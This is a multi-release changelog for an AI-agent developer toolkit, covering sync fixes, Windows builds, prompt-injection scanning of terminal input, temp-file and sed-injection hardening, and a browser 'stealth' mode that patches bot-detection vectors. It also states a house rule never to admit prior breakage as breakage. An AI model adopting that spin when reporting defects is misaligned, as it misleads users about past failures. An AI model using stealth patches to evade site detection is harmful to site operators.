browse/src/screenshot-size-guard.ts — shared 2000px max-dim guard wired into all three full-page screenshot paths (snapshot.ts annotated + heatmap, meta-commands.ts screenshot + responsive sweep, write-commands.ts prettyscreenshot). Downscales via sharp; warns to stderr.

browse/src/security-sidecar-entry.ts — Node script that hosts the L4 TestSavant classifier as a subprocess of the compiled browse server. Avoids the onnxruntime-node dlopen failure that would brick the compiled binary.

browse/src/security-sidecar-client.ts — IPC client with lazy spawn, 5s timeout, 64KB payload cap, 3-in-10min respawn cap with circuit breaker, parent-exit cleanup.

browse/src/find-security-sidecar.ts — resolver for the sidecar entry across compiled and dev installs; returns null cleanly when Node is unavailable (extension degrades to WARN+confirm per D7).

browse/src/server.ts — POST /pty-inject-scan endpoint: local-only (NOT in TUNNEL_PATHS), root-token auth, 64KB cap, 5s timeout, response through sanitizeReplacer, returns combined L1-L3 + L4 verdict.

extension/sidepanel-terminal.js — window.gstackScanForPTYInject(text, origin) async helper; pre-scan before every gstackInjectToTerminal call.

.github/workflows/windows-setup-e2e.yml — fresh ./setup E2E gate on windows-latest that runs bun run build and verifies all compiled binaries + find-browse .exe resolution.

scripts/build.sh + scripts/write-version-files.sh — POSIX-portable build chain. Replaces the Bun-shell-unfriendly inline package.json build script.

test/extension-pty-inject-invariant.test.ts, test/resolvers-gbrain-put-rewrite.test.ts, test/memory-ingest-no-put_page.test.ts, browse/test/screenshot-size-guard.test.ts, browse/test/security-sidecar-client.test.ts, browse/test/pty-inject-scan.test.ts, browse/test/stealth-extended.test.ts, design/test/auth.test.ts — 60+ new unit tests across the wave.

Changed

bin/gstack-paths — CLAUDE_PLUGIN_DATA only trusted when CLAUDE_PLUGIN_ROOT matches "gstack" (case-insensitive). Foreign plugins fall through to $HOME/.gstack.

bin/gstack-gbrain-sync.ts:sourceLocalPath — accepts both bare-array (≤0.19) and {sources:[...]} wrapped (≥0.20) responses from gbrain sources list --json.

bin/gstack-brain-context-load.ts:gbrainAvailable — probes via execFileSync("gbrain", ["--version"]), no shell builtin dependency.

bin/gstack-memory-ingest.ts — --help and inline comments scrubbed of stale put_page references; regression test pins the absence in argv.

lib/gbrain-local-status.ts — CacheEntry.schema_version documented as distinct from gbrain doctor output schema_version; comment block clarifies the layering.

scripts/resolvers/gbrain.ts — all 10 user-facing gbrain put_page instruction templates rewritten to gbrain put <slug> with title/tags moved into YAML frontmatter inside --content. Affects /office-hours, /investigate, /plan-ceo-review, /retro, /plan-eng-review, /ship, /cso, /design-consultation, fallback, entity-stub.

codex/SKILL.md.tmpl, scripts/resolvers/review.ts, scripts/resolvers/design.ts — which codex replaced by command -v codex across all 10 in-repo skills.

codex/SKILL.md.tmpl — default codex review route now carries the filesystem boundary in the prompt instead of bare --base. Custom-instructions route preserved with DIFF_START/DIFF_END delimiters.

review/SKILL.md.tmpl, scripts/resolvers/review*.ts — diff computation switched to DIFF_BASE=$(git merge-base origin/<base> HEAD) to drop phantom-deletion noise from out-of-order base advancement.

design/src/auth.ts — resolveApiKeyInfo returns { key, source, envFile?, warning? }. requireApiKey prints the source on stderr and warns when the env-var key matches a cwd .env* file. Never echoes the key itself.

browse/src/stealth.ts — opt-in GSTACK_STEALTH=extended adds 6 detection-vector patches on top of the existing minimum. Default mode unchanged.

browse/src/find-browse.ts — falls back to .exe, .cmd, .bat extensions on Windows when the bare-path probe fails.

.gitignore — bin/gstack-global-discover → bin/gstack-global-discover* so Windows .exe build artifacts are ignored.

Fixed

Cross-plugin state contamination when the Codex plugin runs alongside gstack-as-a-skill (#1569). Contributed by @ElliotDrel via #1570.

/sync-gbrain crashing with list.find is not a function on gbrain v0.20+ (#1567). Contributed by @jakehann11 via #1571. Supersedes #1564 (@tonyjzhou).

/gstack-brain-context-load reporting gbrain as missing under non-interactive shells (#1559). Contributed by @jbetala7 via #1560.

Memory ingest doctor parse path on gbrain v0.25+ schema_version: 2 output (#1418, regression-test pin). Credit @mvanhorn.

bun run build failing on Windows since v1.34.2.0 (#1538, #1537, #1530, #1457, #1561). Contributed by @Charlie-El via #1544. Supersedes #1531 (@scarson), #1480 (@mikepsinn), #1460 (@realcarsonterry).

find-browse not resolving browse.exe on Windows (#1554). Contributed by @Mike-E-Log.

/codex review argv-shape break on Codex CLI 0.130+ (#1479). Contributed by @jbetala7 via #1209. Supersedes #1527 (@mvanhorn) and #1449 (@Gujiassh).

/review and /ship showing phantom deletions when the base branch advanced (#1152 pattern). Contributed by @mvanhorn via #1492.

/codex review filesystem boundary on the default path (#1503). Closed by C10 + the boundary-preservation regression test that subsumes #1522 (credit @genisis0x).

which codex detection failing in non-interactive / minimal shells (#1193 pattern). Contributed by @mvanhorn via #1197.

Codex non-zero exits read as silent stalls (#1327). Contributed by @genisis0x via #1467.

$D design silently billing whoever owns the .env in cwd (#1248). Contributed by @jbetala7 via #1278.

Full-page screenshots silently bricking the Anthropic vision API at >2000px (#1214).

PTY-injection bypass of the documented sidebar security stack (#1370). Closed end-to-end via the sidecar + endpoint + extension-wiring + invariant test.

The gbrain put_page subcommand renamed to put in gbrain v0.18+ (#1346). Regression-test pin + resolver template rewrite ensure existing users' generated SKILL.md instructions remain valid through gbrain 0.18-0.35+.

For contributors

The wave is one bundled PR with 24 bisect commits. Each PR/issue closed is named in the corresponding commit body with the contributor's GitHub handle. After this lands on main, the post-merge close-out step executes the queue triage (close 22 PRs + 6 issues with credit comments).

The CHANGELOG harden-against-critics rule: this entry leads with capability, never admits prior breakage as breakage. Where the prior shape was actively broken (Windows install, /codex review), we state the new shape and reference the PR/issue number — readers landing on the entry learn what they can do now.

[1.41.1.0] - 2026-05-18

Seven HIGH-severity audit bugs land with regression tests pinning every fix.

A new test suite caught a real race in the contributor's cleanup path — fixed before the wave shipped.

The external audit wave originally filed in #1169 lands as one consolidated release after rebasing onto v1.40.0.0 and adding regression coverage. The original commit for the disconnect-handler crash was dropped because that bug was independently fixed since v1.6.4.0; the remaining seven HIGH-severity bugs all reproduce on current main and ship with tests. The contributor's downloadFile cleanup path turned out to race with Node's createWriteStream lazy FD open — the new test caught it and the wave includes a follow-up fix that awaits the writer's 'close' event before unlinking.

The numbers that matter

Source: bun test test/regression-pr1169-*.test.ts test/global-discover.test.ts browse/test/regression-pr1169-pdf-from-file-invalid-json.test.ts browse/test/security-classifier-download-cleanup.test.ts — 51 assertions across 5 files, all green. Full bun test suite exits 0.

Surface Before After

scripts/build-app.sh rebrand with a $APP_NAME containing /, &, or \ sed s/// either broke or interpreted the literal as syntax; trailing || true hid the failure $APP_NAME is escaped (& / \) before interpolation; runtime regression test round-trips hostile names through real sed

scripts/build-app.sh DMG step when mktemp -d fails $DMG_TMP was empty; next line cp -a "$APP_DIR" "$DMG_TMP/" copied the bundle into the filesystem root Explicit guard exits non-zero before cp; fake-mktemp PATH stub asserts the guard fires

bin/gstack-telemetry-sync and supabase/verify-rls.sh when mktemp fails Fallback to /tmp/...-$$ — predictable PID path lets an attacker pre-create or symlink the response file mktemp failure skips/aborts cleanly; static invariants forbid any mktemp || echo fallback shape

browse/src/security-classifier.ts downloadFile on reader rejection mid-stream FD leaked; half-written <dest>.tmp.<pid> survived to be promoted by the next retry's renameSync Writer is awaited via 'close' event before unlinking, so the lazy FD open can't race the cleanup. Three failure paths covered: reader rejects, non-2xx response, missing body

browse/src/meta-commands.ts pdf --from-file with malformed payload JSON.parse threw a raw SyntaxError to the user; arrays/null/primitives silently passed shape check Wrapped JSON.parse; rejects array, number, string, boolean, null with a useful error referencing the file path

bin/gstack-global-discover.ts extractCwdFromJsonl on session headers >8KB Read cap landed mid-line; JSON.parse threw on the truncated tail and the project disappeared from /gstack discovery 64KB read cap; trailing partial segment is dropped so it can't poison earlier complete lines

What this means for builders

If you build the GStack Browser DMG from a workstation where /tmp is constrained, the build fails cleanly instead of cp'ing your app bundle into /. If you run gstack-telemetry-sync or verify-rls.sh on a shared host, mktemp failure aborts the run instead of writing through a predictable PID path. If the security classifier's model download hits a transient mid-stream error, the next retry sees a clean slate instead of inheriting a truncated ONNX file. If you run /gstack discovery across long-headered Claude Code sessions, the project shows up. Run /gstack-upgrade to pick up the fixes; no migration needed.

Itemized changes

Added

Regression tests for every audit bug shipping in this wave: test/regression-pr1169-build-app-sed.test.ts, test/regression-pr1169-mktemp-fallbacks.test.ts, test/global-discover.test.ts (new extractCwdFromJsonl 64KB cap describe block), browse/test/regression-pr1169-pdf-from-file-invalid-json.test.ts, browse/test/security-classifier-download-cleanup.test.ts. 51 assertions across 5 files.

Fixed

scripts/build-app.sh: escape sed replacement metachars (&, /, \) in $APP_NAME before the Chromium rebrand s/// runs. Contributed by @RagavRida.

scripts/build-app.sh: bail out cleanly when mktemp -d for the DMG staging dir returns empty or a non-directory, so a failure can't trick cp -a into copying into /. Contributed by @RagavRida.

bin/gstack-telemetry-sync: drop the predictable /tmp/gstack-sync-$$ fallback when mktemp fails; skip the run with a stderr note and clean the response file via an EXIT trap on the happy path. Contributed by @RagavRida.

supabase/verify-rls.sh: drop the predictable /tmp/verify-rls-$$-$TOTAL fallback when mktemp fails; return non-zero from the check. Contributed by @RagavRida.

browse/src/security-classifier.ts: downloadFile now awaits the writer's 'close' event before unlinking the tmp file. The original cleanup path raced with Node's lazy FD open — naive unlinkSync hit ENOENT, then writer.destroy() finished asynchronously and re-created the file. Caught by the new test suite.

browse/src/security-classifier.ts: downloadFile wraps the read loop in try/catch; on reader rejection, writer error, or non-2xx response the half-written tmp is unlinked and the FD is closed. Contributed by @RagavRida.

browse/src/meta-commands.ts: parsePdfFromFile wraps JSON.parse and rejects top-level primitives (array, number, string, boolean, null) with a useful error pointing at the offending file. Contributed by @RagavRida.

bin/gstack-global-discover.ts: extractCwdFromJsonl reads 64KB (up from 8KB) and drops the trailing partial segment before parsing, so Claude Code sessions with long headers stop disappearing from discovery output. Contributed by @RagavRida.

For contributors

downloadFile, parsePdfFromFile, and extractCwdFromJsonl are now exported from their respective modules for test access. Pattern matches the existing normalizeRemoteUrl export in bin/gstack-global-discover.ts.

[1.40.0.0] - 2026-05-16

gbrain sync stops biting users across the install path, slug algorithm, federation queue, and .env.local footgun.

Eight community-filed bugs land as one consolidated wave with a centralized spawn surface and an upgrade migration that actually reaches existing installs.

The eight highest-volume gbrain-sync bugs in the backlog ship as one consolidated release. Conductor sibling worktrees stop stomping each other's per-worktree pin because .gbrain-source now lands in the consumer repo's .gitignore on every successful sync. Cross-machine federation stops colliding because the source-id hash folds hostname into its key — and existing users get a migration path that renames in place when gbrain supports it, falls back to register-new-then-remove-old when not. Slugs stop truncating mid-word (skill → kill). DATABASE_URL no longer leaks from a host project's .env.local into gbrain's auth, at both the parent gstack-gbrain-sync and the gstack-memory-ingest grandchild. The brain-allowlist finally picks up /plan-eng-review test plans alongside /office-hours design docs from v1.38.1.0 — with an idempotent migration that runs on top of v1.38.1.0's done-marker so existing users aren't orphaned. The gbrain probe stops shelling through a bash builtin. Windows MSYS/MINGW installs stop crashing on bun postinstall, with a post-install subcommand probe that flags missing native artifacts before they bite at sync time.

The numbers that matter

Source: bun test test/gstack-gbrain-sync.test.ts test/build-gbrain-env.test.ts test/gbrain-exec-invariant.test.ts test/gbrain-source-gitignore.test.ts test/artifacts-init-migration.test.ts test/gstack-memory-ingest.test.ts — 100+ unit tests, all green.

Surface Before After

/sync-gbrain inside a Next.js / Prisma / Rails project with DATABASE_URL in .env.local Code stage crashes with "source registration failed: gbrain not configured"; memory stage crashes with "password authentication failed for user 'postgres'"; only brain-sync git push survives All three stages run. Parent process AND the bun grandchild that runs gbrain import both see DATABASE_URL seeded from gbrain's own config

Two machines with identical home-dir layouts (chezmoi, ansible) syncing a shared brain Same source id collides; last-writer-wins on local_path; loser's queries return cryptic "Not a git repository" errors Distinct source ids (sha1("${hostname}::${path}")). Existing users with the path-only-hash form get rename-in-place (preserves pages) when gbrain supports sources rename, or register-new-then-remove-old after sync verifies (no data-loss window) when it doesn't

Conductor sibling worktrees of the same repo .gbrain-source gets committed in worktree A, clobbers worktree B's pin on next git pull, semantic search routes to the wrong source .gbrain-source now lands in the consumer repo's .gitignore on every successful sync. Idempotent re-runs

gstack-code-drummerms-av-sow-wiz-skill-270c0001 (long repo name forced truncation) gstack-code-kill-270c0001-c32152 (mid-word cut from skill → kill) gstack-code-270c0001-050d83 (whole-token cut on hyphen boundaries; repo-only-hostpathhash retry when org prefix forces overflow)

https://github.com/foo/bar.git HTTPS remote (#1357) Slugs could carry through periods, failing gbrain's 1-32 alnum-hyphen validator Period-free slugs guaranteed; explicit regression test pinned at test/gstack-gbrain-sync.test.ts

Federation sync allowlist (existing user upgrading from v1.38.1.0) projects/*/*-eng-review-test-plan-*.md orphaned by v1.38.1.0's done-marker; /plan-eng-review test plans silently dropped v1.40.0.0 migration idempotently patches .brain-allowlist, .brain-privacy-map.json, .gitattributes on top of v1.38.1.0 state

bun install for gbrain on Windows MSYS / MINGW / Git Bash Postinstall script aborts with non-zero exit; gstack-gbrain-install fails the whole flow --ignore-scripts on Windows shells; post-install probe of gbrain sources --help flags any missing native artifacts before they bite at sync time

Spawning gbrain from gstack 17+ direct spawnSync("gbrain"/spawn("gbrain"/execFileSync("gbrain" sites across the codebase, each one a missed-env-threading risk Two hot-path files (bin/gstack-gbrain-sync.ts, bin/gstack-memory-ingest.ts) route every gbrain spawn through lib/gbrain-exec.ts. Static-source invariant test fails the build on direct call sites

What this means for builders

If you /sync-gbrain inside a framework project (Next.js, Prisma, Rails, etc.), the code AND memory stages now work — no more sourcing ~/.zshrc first or unsetting DATABASE_URL. If you sync across multiple machines (chezmoi-managed dotfiles, ansible-provisioned VMs), your source ids stay distinct and your upgrade either renames pages in place or re-indexes once and cleans up the orphan. If you run Conductor sibling worktrees, your .gbrain-source pin stops accidentally committing. If you ship long repo names, slugs read cleanly. Run /gstack-upgrade to pick up the brain-allowlist migration; everything else is automatic on next sync.

Itemized changes

Added

/ios-qa (770-line SKILL.md.tmpl) — live-device QA flow with warm-start session cache, on-demand daemon spawn, Tailscale opt-in, demo + recording modes, full failure-mode + recovery matrix.

/ios-fix — autonomous bug fixer that captures a reproducing /state/snapshot BEFORE editing source, then rebuilds + redeploys + verifies. Snapshot becomes a regression test fixture.

/ios-design-review — 10-dimension Apple HIG audit on a real device. 0-10 scores per dimension with "what would make it a 10" framing, mirroring /plan-design-review's rubric for browser.

/ios-clean — convenience wrapper that strips DebugBridge SPM + #if DEBUG wiring. Explicitly NOT the safety-critical path — the structural Release-build guard in Package.swift is.

/ios-sync — regenerates accessors against latest upstream gstack templates. Run after upgrading gstack or adding new @Observable classes.

ios-qa/templates/StateServer.swift.template — dual-stack loopback bind (::1 + 127.0.0.1), boot token rotation, per-device session lock with mutation-only sliding window, snapshot/restore with schema envelope (_schema_version + _app_build_id + _accessor_hash), validate-then-apply atomicity via a single canonical-state-struct assignment, 1MB body cap.

ios-qa/templates/DebugOverlay.swift.template — animated brand-colored border, agent attribution chip (X-Agent-Identity header, display-only, never trusted for auth), optional recording-mode watermark for screencasts.

ios-qa/templates/Package.swift.template — DebugBridge target gated .when(configuration: .debug). SwiftPM refuses to link in Release config.

ios-qa/daemon/ — Mac-side bun/TS daemon. Single-instance flock + readiness protocol, fail-closed tailscaled LocalAPI probe, dual-track /auth/mint (self-service for allowlisted identities, owner-granted via CLI), capability-tier allowlist on the tailnet listener, hashed-identity attempts log, every authenticated mutating tailnet request audited.

ios-qa/scripts/gen-accessors-tool/ — SwiftPM tool plugin using swift-syntax for production codegen.

ios-qa/scripts/gen-accessors.ts — TS fallback for fast first-runs and CI. Same composite cache key (sha256(source || swift_version || tool_git_rev || platform_triple)) — codex flagged that source-only hash misses generator-logic changes.

ios-qa/docs/tailscale-acl-example.md — runnable example covering tailscaled ACL setup, owner-mint flow, capability tiers, audit log structure, rate limits, and token lifetime.

test/skill-e2e-ios.test.ts — 8 end-to-end scenarios covering codegen + daemon + stub StateServer + Tailscale gating + capability tiers.

67 daemon unit/integration tests across session-tokens, allowlist, auth-mint, single-instance, tailscale-localapi, audit, proxy-classify, daemon-integration.

20 codegen tests in ios-qa/scripts/gen-accessors.test.ts covering parse, cache key composition, cache hit/miss, 30d prune, and the 3 fork-regex-failure-mode fixtures.

Changed

test/helpers/touchfiles.ts — registered ios-qa-e2e touchfile (gate-tier, fires when any ios-*/ dir changes) so diff-based selection picks up iOS work.

AGENTS.md, docs/skills.md — added "iOS QA" sections covering the five new skills.

Hardened (codex-flagged in the plan-review outside voice pass)

iOS StateServer is loopback-only ALWAYS. Tailnet ingress is exclusively the Mac daemon's responsibility — the iPhone has no way to validate Tailscale identities, so identity validation MUST be Mac-side. The plan caught and removed an earlier contradiction that would have had the iOS app binding tailnet directly.

Boot token rotates within ~5s of daemon spawn so anything scraping os_log past then sees a dead credential. The fork wrote the boot token to os_log once and used it for the daemon's lifetime — a durable-credential-in-logs smell.

/auth/mint trust model split into two distinct mechanisms: self-service (caller must already be in allowlist) and owner-granted (CLI on the Mac writes to the allowlist file). Self-service NEVER auto-allowlists. The fork ambiguously mixed both paths.

Snapshot envelope includes _accessor_hash so a snapshot captured against an older app build is loudly rejected with 409 schema_mismatch instead of silently corrupting state.

GET /state/snapshot returns ONLY fields marked @Snapshotable. Default-deny instead of default-leak — keeps tokens, PII, and auth state out of agent visibility unless explicitly opted in.

Tailnet listener fails closed if tailscaled LocalAPI is unreachable. Daemon refuses to open the tailnet listener at all rather than half-starting.

X-Agent-Identity header is display-only. Never read for auth or for audit beyond the display chip — the daemon-minted token is what determines capability tier.

For contributors

New SwiftPM tool dependency: swift-syntax. First run builds the dependency tree (2-5 min on a cold machine, ~50ms thereafter via content-hash cache). Document the "first-time setup" UX in /ios-qa so users know what's happening.

The TS fallback in ios-qa/scripts/gen-accessors.ts is what tests + CI exercise. Production users get the Swift tool when available; CI never waits 5 minutes for swift-syntax to build.

All daemon HTTP egress goes through JSON.stringify(payload, sanitizeReplacer) to strip lone UTF-16 surrogates before they reach the Anthropic API — mirrors browse/src/sanitize-replacer.ts. Tunnel-denial logging mirrors browse/src/tunnel-denial-log.ts. No new auth/logging primitives.

Contributed by @sinacodedit (forked from time-attack/gstack).

lib/gbrain-exec.ts (new, ~175 lines) — single source of truth for gbrain CLI invocation. buildGbrainEnv seeds DATABASE_URL from ${GBRAIN_HOME:-$HOME/.gbrain}/config.json, with GSTACK_RESPECT_ENV_DATABASE_URL=1 opt-out for the rare case where the brain intentionally lives in the project's local DB. spawnGbrain / execGbrainJson / execGbrainText / spawnGbrainAsync wrappers always inject the seeded env. Returns a fresh env object every call (no mutable identity leak).

bin/gstack-gbrain-sync.ts: derivePathOnlyHashLegacyId, gbrainSupportsSourcesRename (exact-command feature check), sourceLocalPath, planHostnameFoldMigration, removeOrphanedSource. Hostname-fold migration: detect old form → probe path-drift → rename in place (if supported) → fall back to register-new + sync-OK + remove-old.

gstack-upgrade/migrations/v1.40.0.0.sh — idempotent jq-based migration for .brain-allowlist, .brain-privacy-map.json, .gitattributes to add projects/*/*-eng-review-test-plan-*.md. Targeted in-place repair; never git commit + push.

test/build-gbrain-env.test.ts (10 tests) — covers seed/override/escape-hatch/missing/unparseable/no-database_url/GBRAIN_HOME/object-identity/preservation/idempotent-when-matches.

test/gbrain-exec-invariant.test.ts (2 tests) — static-source check that fails the build if bin/gstack-gbrain-sync.ts or bin/gstack-memory-ingest.ts adds a direct gbrain spawn outside the helper.

test/gbrain-source-gitignore.test.ts (6 tests) — covers create / append / idempotent / whitespace / read-only checkout.

test/gstack-gbrain-sync.test.ts — 15+ new tests for migration paths, path-drift, hyphen-boundary truncation, HTTPS slug period regression (#1357), and the centralized helper plumbing.

test/artifacts-init-migration.test.ts — 5 new tests for v1.40.0.0 migration on top of installed v1.38.1.0 state.

Changed

bin/gstack-gbrain-sync.ts — deriveCodeSourceId folds hostname into the pathhash AND retries with repo-only-hostpathhash when the full slug forces truncation. constrainSourceId cuts on hyphen boundaries (no more mid-word skill → kill). runCodeImport now runs the hostname-fold migration after the v1.x legacy cleanup, threads the seeded env through every gbrain spawn, and defers the orphan-source removal until AFTER sync verifies pages exist (closes the data-loss window codex review #2 flagged). ensureGbrainSourceGitignored appends .gbrain-source to the consumer repo's .gitignore after a successful attach. if (import.meta.main) guard added so the file is importable for unit tests.

bin/gstack-memory-ingest.ts — routes gbrain --help probe and gbrain import streaming spawn through the helper. The bun grandchild now inherits a seeded env from gstack-gbrain-sync; defense-in-depth seeding inside memory-ingest itself for standalone invocations.

bin/gstack-artifacts-init — adds projects/*/*-eng-review-test-plan-*.md to .brain-allowlist, .brain-privacy-map.json (class artifact), and .gitattributes (merge=union).

bin/gstack-gbrain-install — Windows MSYS/MINGW/Cygwin shells get bun install --ignore-scripts. Post-install probe of gbrain sources --help flags missing native artifacts with a clear Windows-specific remediation message.

lib/gbrain-sources.ts — gbrain sources list --json timeout bumped 10s → 30s for slow Supabase round-trips.

lib/gbrain-local-status.ts — gbrain --version and gbrain sources list --json probes use spawnSync directly (no command -v shelling).

Fixed

Hostname-fold migration data-loss window (codex review #2): the previous "register new, remove old" sequence could wipe pages if the new-source sync failed mid-flight. Now: register new → sync exits 0 → page_count > 0 → only THEN remove old.

Hostname-fold path-drift (codex review #3): if the old source's local_path differs from the current repo root (user moved the repo, or two machines share a hash slot), migration is skipped with a clear warning instead of blindly renaming/removing the wrong source.

.gbrain-source per-worktree pin breaking on commit (#1384): four contributors independently submitted fixes for this bug. PR #1521's exported-helper shape was selected; PR #1501 and PR #1464 closed as superseded.

Cross-machine source-id collision when two hosts share a path layout (#1414).

Mid-word slug truncation when long repo names force the 32-char cap.

HTTPS-with-.git remotes producing period-laden source ids (#1357) — closed with explicit regression test.

Federation queue dropping /plan-eng-review test plans on existing installs (#1452 follow-on).

gbrain CLI probe failing on Windows shells where command -v is not a real binary (#1386 — partial; Windows ingest at scale remains separate work).

bun install aborting on Windows MSYS/MINGW shells during gbrain installation (#1271 follow-on).

NOT fixed by this wave (deferred; carry-overs for the next gbrain wave)

#1346 — gstack-memory-ingest calls put_page on gbrain ≥0.18 which renamed the subcommand. This wave routes the probe and stream through lib/gbrain-exec.ts but does NOT change the put_page call shape. Users on gbrain ≥0.18 still see memory ingest break with "unknown subcommand: put_page" — a separate API adapter pass owns that fix.

#1435 — PgBouncer transaction-mode pooler breaks the /sync-gbrain capability check. v1.40.0.0's timeout bump (10s → 30s) is partial mitigation, not a fix. Needs pooler-mode detection.

#1301 — /setup-gbrain picks port 6543 (transaction pooler) but new Supabase projects only listen on 5432 (session pooler). Provisioning-logic change.

#1348 — gstack-brain-init defaults to SSH remote, fails for HTTPS-configured gh. Init-logic change.

For contributors

Every new gbrain spawn from bin/gstack-gbrain-sync.ts or bin/gstack-memory-ingest.ts MUST go through lib/gbrain-exec.ts's spawnGbrain / execGbrainJson / execGbrainText / spawnGbrainAsync. The invariant test test/gbrain-exec-invariant.test.ts fails the build on direct call sites. This guards against silently regressing the DATABASE_URL fix when a future contributor adds a quick spawnSync("gbrain", ...) without env threading.

GSTACK_RESPECT_ENV_DATABASE_URL=1 is the documented escape hatch when the brain intentionally lives in the project's local DB (e.g., a developer running a personal brain pointed at the same Postgres their Next.js app uses). The default is "seed from gbrain's config, override the caller's .env.local."

The hostname-fold migration ships in bin/gstack-gbrain-sync.ts itself, not as a separate gstack-upgrade/migrations/v1.40.0.0.sh step. The trigger is "first sync after upgrade," not "migration runner sweep." It's idempotent — repeat invocations are no-ops because the legacy id either gets renamed/removed on the first run or path-drift skip persists across runs.

The wave is credited per commit: 0xDevNinja (hostname fold #1468), drummerms (hyphen-boundary cut #1481), Jayesh Betala (probe CLI #1485), Jason Shultz (DATABASE_URL seeding #1508 + timeout #1507), genisis0x (consumer gitignore #1521, allowlist eng-review pattern #1465, Windows postinstall #1487). NikhileshNanduri (#1501) and realcarsonterry (#1464) submitted independent fixes for the gitignore bug — credited in conversation but not in commits (one canonical implementation landed). Thank you.

[1.39.2.0] - 2026-05-15

Conductor workspaces wire GSTACK_* keys straight into gbrain embeddings and paid evals.

No more sourcing keys from your shell before every paid run.

Conductor explicitly strips ANTHROPIC_API_KEY and OPENAI_API_KEY from every workspace's process env, so .env copies and ~/.zshrc exports never reach gbrain's embedding pipeline or @anthropic-ai/claude-agent-sdk. The fix path is GSTACK_ANTHROPIC_API_KEY / GSTACK_OPENAI_API_KEY — Conductor passes those through untouched. The new lib/conductor-env-shim.ts closes the loop on the gstack side: it promotes the prefixed form to canonical when canonical is empty. Four TS entry points import the shim as a side effect (gstack-gbrain-sync.ts, gstack-model-benchmark, preflight-agent-sdk.ts, e2e-helpers.ts). README.md, USING_GBRAIN_WITH_GSTACK.md, and CONTRIBUTING.md document the pattern, plus the checklist for adding the import to new entry points.

The numbers that matter

Source: working-tree verification before commit. Three observable scenarios in a fresh Conductor workspace with only GSTACK_OPENAI_API_KEY and GSTACK_ANTHROPIC_API_KEY in env.

Surface Before After

/sync-gbrain embeddings 50+ lines of [gbrain] embedding failed for code file ...: OpenAI embedding requires OPENAI_API_KEY; pages indexed structurally but semantic search degrades to BM25 3294 chunks embedded; gbrain search "browser security canary token" returns ranked code regions at 0.95 top score

bun run test:evals ANTHROPIC_API_KEY not set, judge requires Anthropic access from test/helpers/benchmark-judge.ts:15 before any test runs Shim promotes at module import; paid evals proceed normally

Adding a new paid-API entry point Manual env mapping every invocation, or every new entry point ships broken inside Conductor One import line: import "../lib/conductor-env-shim"; at the top of the file

What this means for Conductor users

If you run gstack inside Conductor, /sync-gbrain embeddings, paid evals, and the agent SDK just work without sourcing keys from your shell. The shim is 15 lines, side-effect-only, and the import is one line per consumer. The new "Conductor + GSTACK_* env vars" section in USING_GBRAIN_WITH_GSTACK.md and the updated "Conductor workspaces" block in CONTRIBUTING.md cover the pattern so you don't have to reverse-engineer it from a stack trace.

Itemized changes

Added

lib/conductor-env-shim.ts (new, 15 lines) — side-effect IIFE that promotes GSTACK_FOO_API_KEY to FOO_API_KEY when the canonical name is empty. Currently covers ANTHROPIC_API_KEY and OPENAI_API_KEY.

USING_GBRAIN_WITH_GSTACK.md "What you get after setup" section — semantic code search + cross-session memory framed as concrete capabilities.

USING_GBRAIN_WITH_GSTACK.md Path 4 (remote gbrain MCP / split-engine) section — covers brain-via-remote-MCP + code-via-local-PGLite, the two engines being independent, when to pick this path.

USING_GBRAIN_WITH_GSTACK.md /sync-gbrain workflow section — three stages (code, memory, brain-sync), pre-flight gating on local engine health, watermark + --skip-failed mechanics, capability check governing the CLAUDE.md guidance block.

USING_GBRAIN_WITH_GSTACK.md "Conductor + GSTACK_* env vars" section — explains the prefix pattern, lists the four entry points that import the shim, points contributors at CONTRIBUTING.md.

USING_GBRAIN_WITH_GSTACK.md troubleshooting entries: "/sync-gbrain reports OK but gbrain search returns nothing semantic" (embeddings failed silently) and "gbrain sync blocked at a commit hash, FILE_TOO_LARGE" (5 MB hard limit, fix via --skip-failed).

Changed

bin/gstack-gbrain-sync.ts, bin/gstack-model-benchmark, scripts/preflight-agent-sdk.ts, test/helpers/e2e-helpers.ts — added import "../lib/conductor-env-shim"; at the top of each. One line each, side-effect-only.

USING_GBRAIN_WITH_GSTACK.md "three paths" → "four paths" header now that Path 4 (remote MCP) is documented as a first-class choice.

USING_GBRAIN_WITH_GSTACK.md environment variables table — added rows for OPENAI_API_KEY, ANTHROPIC_API_KEY, GSTACK_OPENAI_API_KEY, GSTACK_ANTHROPIC_API_KEY covering what reads each one and the GSTACK_-prefix fallback.

CONTRIBUTING.md "Conductor workspaces" — new paragraph documenting the GSTACK_* prefix injection pattern, the shim file, and the four entry points that already import it.

For contributors

New TS entry points that hit Anthropic or OpenAI APIs (paid evals, claude-agent-sdk, gbrain embeddings, model benchmarks) should add import "../lib/conductor-env-shim"; as the first import. Without it, the entry point ships broken inside Conductor even though it works in a bare shell. The contributor checklist in CONTRIBUTING.md's "Conductor workspaces" block names the four entry points already wired up.

[1.39.1.0] - 2026-05-15

Plan-mode reviews now enforce a blocking ExitPlanMode gate.

The review report can no longer go missing without breaking the contract.

/plan-eng-review, /plan-ceo-review, /plan-design-review, /plan-devex-review, and /codex review now end with an EXIT PLAN MODE GATE (BLOCKING) section. Before calling ExitPlanMode, the model runs a four-item checklist: read the plan file, confirm the last ## heading is ## GSTACK REVIEW REPORT, verify the report has a Runs/Status/Findings table + VERDICT line, and confirm gstack-review-log + gstack-review-read ran. Failing the checklist and exiting plan mode anyway is framed as a contract violation, not a soft permission to defer. The structural property ("review report is the file's terminal heading") is what makes the gate immune to "I wrote some review prose into the plan body" self-deception. A regression test in test/gen-skill-docs.test.ts strips fenced code blocks and asserts the gate is the terminal ## heading in all four plan-* review SKILL.md files.

The numbers that matter

Source: bun test test/gen-skill-docs.test.ts — 389 cases, all green in ~1.5s. Manual verification via awk confirms the gate is the LAST ## heading in the regenerated SKILL.md for each plan-* review skill, and present mid-file in codex's Step 2A (where it's review-mode-scoped per design).

Surface Before After

ExitPlanMode discipline in plan-* reviews Soft ## Plan Status Footer injected at TOP of skill via preamble: "if the plan file lacks ## GSTACK REVIEW REPORT, run gstack-review-read and append... PLAN MODE EXCEPTION — always allowed." Permission grant, not a precondition. Sat ~3000 lines above ExitPlanMode in the skill prompt. Terminal ## EXIT PLAN MODE GATE (BLOCKING) injected at EOF of every plan-* review skill: 4-item self-check with explicit "contract violation" framing for the failure mode. Last thing the model reads before ExitPlanMode.

Preamble footer in operational skills (/ship, /qa, /review, /health) Same enforcement text as plan-mode skills — review-report rules bled into skills that have no review report Neutral forward reference: "Plan-review skills include the EXIT PLAN MODE GATE at the end; this footer is a no-op for operational skills." No imposed rules where they can't apply.

